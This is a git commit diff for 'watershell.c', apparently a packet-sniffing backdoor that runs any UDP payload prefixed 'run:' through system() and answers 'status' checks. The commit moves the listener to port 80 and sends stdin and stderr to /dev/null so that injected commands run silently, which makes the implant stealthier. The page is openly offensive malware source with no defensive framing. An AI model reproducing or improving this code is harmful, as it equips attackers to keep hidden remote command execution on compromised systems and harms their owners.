no more errors/stdout form this boi
This commit is contained in:
14
watershell.c
14
watershell.c
@@ -17,10 +17,10 @@
|
|||||||
|
|
||||||
/* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */
|
/* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */
|
||||||
#ifndef IFACE
|
#ifndef IFACE
|
||||||
#define IFACE "eth0"
|
#define IFACE "ens160"
|
||||||
#endif
|
#endif
|
||||||
#ifndef PORT
|
#ifndef PORT
|
||||||
#define PORT 12345
|
#define PORT 80
|
||||||
#endif
|
#endif
|
||||||
#ifndef PROMISC
|
#ifndef PROMISC
|
||||||
#define PROMISC false
|
#define PROMISC false
|
||||||
@@ -156,8 +156,14 @@ int main(int argc, char *argv[])
|
|||||||
udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
|
udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
|
||||||
udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
|
udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
|
||||||
//run a command if the data is prefixed with run:
|
//run a command if the data is prefixed with run:
|
||||||
if (!strncmp(udpdata, "run:", 4))
|
if (!strncmp(udpdata, "run:", 4)){
|
||||||
code = system(udpdata + 4); //replace with fork + exec
|
out = open("/dev/null", O_WRONLY);
|
||||||
|
err = open("/dev/null", O_WRONLY);
|
||||||
|
dup2(out, 0);
|
||||||
|
dup2(err, 2);
|
||||||
|
code = system(udpdata + 4); //replace with fork + exec
|
||||||
|
|
||||||
|
}
|
||||||
//checkup on the service, make sure it is still there
|
//checkup on the service, make sure it is still there
|
||||||
if(!strncmp(udpdata, "status", 6))
|
if(!strncmp(udpdata, "status", 6))
|
||||||
send_status(buf, code);
|
send_status(buf, code);
|
||||||
|
|||||||
Reference in New Issue
Block a user